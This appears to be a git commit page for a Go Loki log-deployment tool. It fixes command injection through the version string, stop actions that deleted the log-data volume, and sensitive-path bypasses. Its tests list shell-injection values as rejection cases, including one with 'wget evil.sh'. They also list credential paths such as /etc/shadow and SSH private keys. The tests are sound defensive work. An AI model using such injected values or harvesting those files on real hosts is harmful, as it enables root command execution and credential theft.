fix(security,data): P0 — 命令注入/停止毁数据/采集路径绕过/DB 清库/前端竞态
后端(实机 10.10.10.161 验证 host-binary 全链路 + 注入双路径 400): - Loki 版本号严格 ^\d+.\d+.\d+$ 校验并接入 Update 路径:version 拼进 SSH shell 命令, 旧校验放行 3.0.0'; id; echo ' 等注入载荷(root RCE) - Stop/Restart 清理清单移除 PVC:停止部署曾连带删除 loki-data PVC,filesystem 存储日志被永久清空(测试锁死红线) - 采集敏感路径防护覆盖默认 LogPath 分支与 collector Create(/etc/shadow 不再可绕过入库) - 数据文件损坏时原文件改名 .corrupt-* 留档再空库启动,不再被静默覆盖(loadFromDisk 抽出可测) 前端: - 审计页用户名过滤 300ms 防抖 + AbortController/版本号(逐键竞态数据错乱) - 向导自动部署改用创建返回实例(或 id 最大且 pending),不再盲取 list[0] 对错误实例发起真实部署 - 路由级 ErrorBoundary:单页崩溃/chunk 404 只影响当前页
This commit is contained in:
1 parent
5e59347c40
commit
2975452c21
17 files changed
+271
-68
No files matched your search
@@ -229,6 +229,17 @@ func (s *CollectorService) Create(req *CreateCollectorRequest) (*models.Collecto
|
||||
return nil, fmt.Errorf("Sidecar 采集器需要填写目标 Deployment 名称")
|
||||
}
|
||||
|
||||
// 入库前统一校验采集项(含敏感路径拦截):Create 也要挡,
|
||||
// 否则坏数据先落库、部署时才报错(Update 已有校验)
|
||||
if err := models.ValidateScrapeJobs(req.ScrapeJobs); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if strings.TrimSpace(req.LogPath) != "" {
|
||||
if err := models.ValidateScrapeJobs([]models.ScrapeJob{{Name: "app", Paths: strings.Split(req.LogPath, ",")}}); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
refType := "cluster"
|
||||
if req.Type == "host-promtail" {
|
||||
refType = "host"
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -255,6 +256,9 @@ func (s *DeploymentService) Update(id uint, updates map[string]interface{}) erro
|
||||
db.Deployments[i].Description = v
|
||||
}
|
||||
if v, ok := updates["version"].(string); ok && v != "" {
|
||||
if err := ValidateLokiVersion(v); err != nil {
|
||||
return err
|
||||
}
|
||||
db.Deployments[i].Version = v
|
||||
}
|
||||
if v, ok := updates["namespace"].(string); ok && v != "" {
|
||||
@@ -601,17 +605,20 @@ func (s *DeploymentService) getEndpoint(d *models.LokiDeployment) string {
|
||||
// ==================== 版本兼容性检查 ====================
|
||||
|
||||
// ValidateLokiVersion 检查 Loki 版本是否在支持列表中且满足最低版本要求
|
||||
// lokiVersionPattern 版本号会被拼进主机上的 shell 命令(下载 URL 等),
|
||||
// 只放行纯数字三段式,从根上杜绝引号/命令替换等注入
|
||||
var lokiVersionPattern = regexp.MustCompile(`^\d+\.\d+\.\d+$`)
|
||||
|
||||
func ValidateLokiVersion(version string) error {
|
||||
if version == "" {
|
||||
return nil // 使用默认值,不报错
|
||||
}
|
||||
|
||||
// 基本格式验证
|
||||
parts := strings.Split(version, ".")
|
||||
if len(parts) < 2 {
|
||||
if !lokiVersionPattern.MatchString(version) {
|
||||
return fmt.Errorf("版本号格式无效: %s,期望格式如 3.0.0", version)
|
||||
}
|
||||
|
||||
parts := strings.Split(version, ".")
|
||||
major, err := strconv.Atoi(parts[0])
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法解析主版本号: %s", version)
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestValidateLokiVersionRejectsShellMetacharacters 版本号会拼进主机 shell 命令(下载 URL 等),
|
||||
// 必须只放行纯数字三段式,杜绝命令注入。
|
||||
func TestValidateLokiVersionRejectsShellMetacharacters(t *testing.T) {
|
||||
bad := []string{
|
||||
`3.0.0'; id; echo '`,
|
||||
`2.8.9$(id)`,
|
||||
`3.0.0;id`,
|
||||
`3.0.0 && wget evil.sh`,
|
||||
"3.0.0\nid",
|
||||
"3.0.0`id`",
|
||||
`v3.0.0`,
|
||||
`3.0`,
|
||||
`3.0.0-beta`,
|
||||
`3..0`,
|
||||
` 3.0.0`,
|
||||
}
|
||||
for _, version := range bad {
|
||||
if err := ValidateLokiVersion(version); err == nil {
|
||||
t.Errorf("ValidateLokiVersion(%q) 应被拒绝(shell 注入面)", version)
|
||||
}
|
||||
}
|
||||
good := []string{"", "2.8.9", "3.0.0", "3.4.0"}
|
||||
for _, version := range good {
|
||||
if err := ValidateLokiVersion(version); err != nil {
|
||||
t.Errorf("ValidateLokiVersion(%q) 不应报错: %v", version, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestCleanupKindsNeverIncludePVC Stop/Restart 复用 CleanupLoki,
|
||||
// 清理清单一旦加入 PVC 就会把 filesystem 存储的日志数据永久清空——用测试锁死这条红线。
|
||||
func TestCleanupKindsNeverIncludePVC(t *testing.T) {
|
||||
for _, item := range lokiCleanupKinds {
|
||||
if item[0] == "persistentvolumeclaim" {
|
||||
t.Fatalf("清理清单包含 PVC(%s):停止部署不得删除日志数据,如需卸载清理请走显式的删除流程", item[1])
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -216,13 +216,22 @@ func (d *LokiDeployer) log(level, message, detail string) {
|
||||
|
||||
// ==================== 清理 / 卸载 ====================
|
||||
|
||||
// lokiCleanupKinds 停止/清理时删除的 Kubernetes 资源清单。
|
||||
// 刻意不包含 persistentvolumeclaim(loki-data):Stop/Restart 也会走到这里,
|
||||
// 删 PVC 等于把 filesystem 存储的日志数据永久清空——数据只随显式卸载流程处理。
|
||||
var lokiCleanupKinds = [][2]string{
|
||||
{"statefulset", "loki"},
|
||||
{"service", "loki"},
|
||||
{"configmap", "loki-config"},
|
||||
}
|
||||
|
||||
func CleanupLoki(ctx context.Context, deployment *models.LokiDeployment) {
|
||||
if deployment.Mode == "k8s-yaml" && deployment.Cluster != nil {
|
||||
ns := deployment.Namespace
|
||||
if ns == "" {
|
||||
ns = "log"
|
||||
}
|
||||
for _, item := range [][2]string{{"statefulset", "loki"}, {"service", "loki"}, {"configmap", "loki-config"}, {"persistentvolumeclaim", "loki-data"}} {
|
||||
for _, item := range lokiCleanupKinds {
|
||||
_ = deleteK8sResource(ctx, deployment.Cluster, item[0], ns, item[1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestPromtailConfigForHostRejectsForbiddenDefaultLogPath 敏感路径防护不得只覆盖 ScrapeJobs 分支:
|
||||
// 默认 LogPath 填 /etc/shadow、/root/.ssh/id_rsa 同样必须被拒绝(否则主机凭据被采进日志平台)。
|
||||
func TestPromtailConfigForHostRejectsForbiddenDefaultLogPath(t *testing.T) {
|
||||
bad := []string{"/etc/shadow", "/root/.ssh/id_rsa", "/proc/self/mem", "/etc/ssh/ssh_host_rsa_key"}
|
||||
for _, path := range bad {
|
||||
_, err := PromtailConfigForHost(HostPromtailOptions{
|
||||
Hostname: "h1",
|
||||
LogPath: path,
|
||||
})
|
||||
if err == nil {
|
||||
t.Errorf("默认 LogPath=%q 应被拒绝(敏感路径)", path)
|
||||
}
|
||||
}
|
||||
// 正常业务路径不受影响
|
||||
if _, err := PromtailConfigForHost(HostPromtailOptions{
|
||||
Hostname: "h1",
|
||||
LogPath: "/var/log/app/*.log",
|
||||
}); err != nil {
|
||||
t.Errorf("正常 LogPath 不应报错: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -116,8 +116,12 @@ scrape_configs:
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
// 默认 1:应用日志
|
||||
// 默认 1:应用日志(与 ScrapeJobs 分支同款敏感路径校验,
|
||||
// 否则 /etc/shadow 之类可从 LogPath 绕过防线被采进日志平台)
|
||||
if path := strings.TrimSpace(o.LogPath); path != "" {
|
||||
if err := models.ValidateScrapeJobs([]models.ScrapeJob{{Name: "app", Paths: splitPaths(path)}}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
rendered, err := renderScrapeJob(models.ScrapeJob{
|
||||
Name: "app",
|
||||
Paths: splitPaths(path),
|
||||
|
||||
Reference in new issue
Block a user